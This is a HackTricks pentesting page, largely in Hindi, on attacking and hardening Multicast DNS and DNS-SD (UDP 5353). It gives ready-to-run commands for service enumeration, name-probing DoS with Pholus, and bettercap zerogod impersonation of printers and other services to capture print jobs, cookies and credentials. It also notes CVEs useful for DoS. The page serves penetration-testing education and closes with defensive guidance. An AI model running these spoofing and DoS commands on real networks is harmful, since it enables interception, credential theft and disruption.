5353/UDP Multicast DNS (mDNS) और DNS-SD

Reading time: 8 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

मूल जानकारी

Multicast DNS (mDNS) एक स्थानीय लिंक के भीतर DNS-जैसी नाम समाधान और सेवा खोज को सक्षम करता है बिना किसी unicast DNS सर्वर के। यह UDP/5353 और मल्टीकास्ट पते 224.0.0.251 (IPv4) और FF02::FB (IPv6) का उपयोग करता है। DNS सेवा खोज (DNS-SD, जो आमतौर पर mDNS के साथ उपयोग किया जाता है) PTR, SRV और TXT रिकॉर्ड के माध्यम से सेवाओं को सूचीबद्ध और वर्णित करने का एक मानकीकृत तरीका प्रदान करता है।

PORT     STATE SERVICE
5353/udp open  zeroconf

Key protocol details you’ll often leverage during attacks:

  • .local ज़ोन में नामों को mDNS के माध्यम से हल किया जाता है।
  • QU (Query Unicast) बिट मल्टीकास्ट प्रश्नों के लिए भी यूनिकास्ट उत्तरों का अनुरोध कर सकता है।
  • कार्यान्वयन को उन पैकेट्स को नजरअंदाज करना चाहिए जो स्थानीय लिंक से नहीं आते; कुछ स्टैक्स अभी भी उन्हें स्वीकार करते हैं।
  • प्रॉबिंग/घोषणा अद्वितीय होस्ट/सेवा नामों को लागू करती है; यहां हस्तक्षेप करने से DoS/“नाम स्क्वाटिंग” की स्थितियां उत्पन्न होती हैं।

DNS-SD सेवा मॉडल

सेवाओं को _._tcp या _._udp के रूप में .local के तहत पहचाना जाता है, जैसे _ipp._tcp.local (प्रिंटर), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge), आदि। _services._dns-sd._udp.local के साथ प्रकारों का पता लगाएं, फिर खोजे गए उदाहरणों को SRV/TXT/A/AAAA में हल करें।

नेटवर्क अन्वेषण और गणना

  • nmap लक्ष्य स्कैन (एक होस्ट पर सीधे mDNS):
bash
nmap -sU -p 5353 --script=dns-service-discovery <target>
  • nmap प्रसारण खोज (सेगमेंट को सुनें और सभी DNS-SD प्रकारों/उदाहरणों की गणना करें):
bash
sudo nmap --script=broadcast-dns-service-discovery
  • avahi-browse (Linux):
bash
# सेवा प्रकारों की सूची
avahi-browse -bt _services._dns-sd._udp
# सभी सेवाओं को ब्राउज़ करें और होस्ट/पोर्ट पर हल करें
avahi-browse -art
  • Apple dns-sd (macOS):
bash
# सभी HTTP सेवाओं को ब्राउज़ करें
dns-sd -B _http._tcp
# सेवा प्रकारों की गणना करें
dns-sd -B _services._dns-sd._udp
# एक विशिष्ट उदाहरण को SRV/TXT में हल करें
dns-sd -L "My Printer" _ipp._tcp local
  • Packet capture with tshark:
bash
# लाइव कैप्चर
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# केवल DNS-SD सेवा सूची प्रश्न
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""

Tip: कुछ ब्राउज़र/WebRTC अस्थायी mDNS होस्टनामों का उपयोग करते हैं ताकि स्थानीय IPs को छिपाया जा सके। यदि आप वायर पर random-UUID.local उम्मीदवार देखते हैं, तो उन्हें mDNS के साथ हल करें ताकि स्थानीय IPs पर स्विच किया जा सके।

हमले

mDNS नाम प्रॉबिंग हस्तक्षेप (DoS / नाम स्क्वाटिंग)

प्रॉबिंग चरण के दौरान, एक होस्ट नाम की अद्वितीयता की जांच करता है। धोखाधड़ी वाले संघर्षों के साथ प्रतिक्रिया देने से इसे नए नाम चुनने या विफल होने के लिए मजबूर किया जाता है। इससे सेवा पंजीकरण और खोज में देरी या रोकथाम हो सकती है।

Example with Pholus:

bash
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000

सेवा धोखाधड़ी और पहचान बनाना (MitM)

विज्ञापित DNS-SD सेवाओं (प्रिंटर, AirPlay, HTTP, फ़ाइल शेयर) की पहचान बनाकर ग्राहकों को आपके साथ कनेक्ट करने के लिए मजबूर करें। यह विशेष रूप से उपयोगी है:

  • _ipp._tcp या _printer._tcp को धोखा देकर दस्तावेज़ कैप्चर करना।
  • HTTP/HTTPS सेवाओं की ओर ग्राहकों को आकर्षित करना ताकि टोकन/कुकीज़ इकट्ठा कर सकें या पेलोड वितरित कर सकें।
  • Windows ग्राहकों के धोखाधड़ी सेवाओं के लिए प्रमाणीकरण करते समय NTLM रिले तकनीकों के साथ संयोजन करना।

bettercap के zerogod मॉड्यूल (mDNS/DNS-SD स्पूफर/पहचानकर्ता) के साथ:

bash
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"

# Show all services seen from a host
> zerogod.show 192.168.1.42

# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42

# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42

# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml

Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay workflows:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

हाल की कार्यान्वयन समस्याओं पर नोट्स (engagements के दौरान DoS/persistence के लिए उपयोगी)

  • Avahi reachable-assertion और D-Bus क्रैश बग (2023) Linux वितरणों पर avahi-daemon को समाप्त कर सकते हैं (जैसे CVE-2023-38469..38473, CVE-2023-1981), लक्षित होस्ट पर सेवा खोज को बाधित करते हैं जब तक कि पुनः प्रारंभ न किया जाए।
  • Cisco IOS XE Wireless LAN Controller mDNS गेटवे DoS (2024, CVE-2024-20303) आसन्न हमलावरों को उच्च CPU चलाने और APs को डिस्कनेक्ट करने की अनुमति देता है। यदि आप VLANs के बीच एक mDNS गेटवे का सामना करते हैं, तो गलत या उच्च-दर mDNS के तहत इसकी स्थिरता के प्रति सतर्क रहें।

Defensive considerations and OPSEC

  • Segment boundaries: Don’t route 224.0.0.251/FF02::FB between security zones unless an mDNS gateway is explicitly required. If you must bridge discovery, prefer allowlists and rate limits.
  • Windows endpoints/servers:
  • To hard-disable name resolution via mDNS set the registry value and reboot:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
  • In managed environments, disable the built-in “mDNS (UDP-In)” Windows Defender Firewall rule (at least on the Domain profile) to prevent inbound mDNS processing while preserving home/roaming functionality.
  • On newer Windows 11 builds/GPO templates, use the policy “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” and set it to Disabled.
  • Linux (Avahi):
  • Lock down publishing when not needed: set disable-publishing=yes, and restrict interfaces with allow-interfaces= / deny-interfaces= in /etc/avahi/avahi-daemon.conf.
  • Consider check-response-ttl=yes and avoid enable-reflector=yes unless strictly required; prefer reflect-filters= allowlists when reflecting.
  • macOS: Restrict inbound mDNS at host/network firewalls when Bonjour discovery is not needed for specific subnets.
  • Monitoring: Alert on unusual surges in _services._dns-sd._udp.local queries or sudden changes in SRV/TXT of critical services; these are indicators of spoofing or service impersonation.

Tooling quick reference

  • nmap NSE: dns-service-discovery and broadcast-dns-service-discovery.
  • Pholus: active scan, reverse mDNS sweeps, DoS and spoofing helpers.
bash
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
  • bettercap zerogod: discover, save, advertise, and impersonate mDNS/DNS-SD services (see examples above).

Spoofing/MitM

The most interesting attack you can perform over this service is to perform a MitM in the communication between the client and the real server. You might be able to obtain sensitive files (MitM the communication with the printer) or even credentials (Windows authentication).
For more information check:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें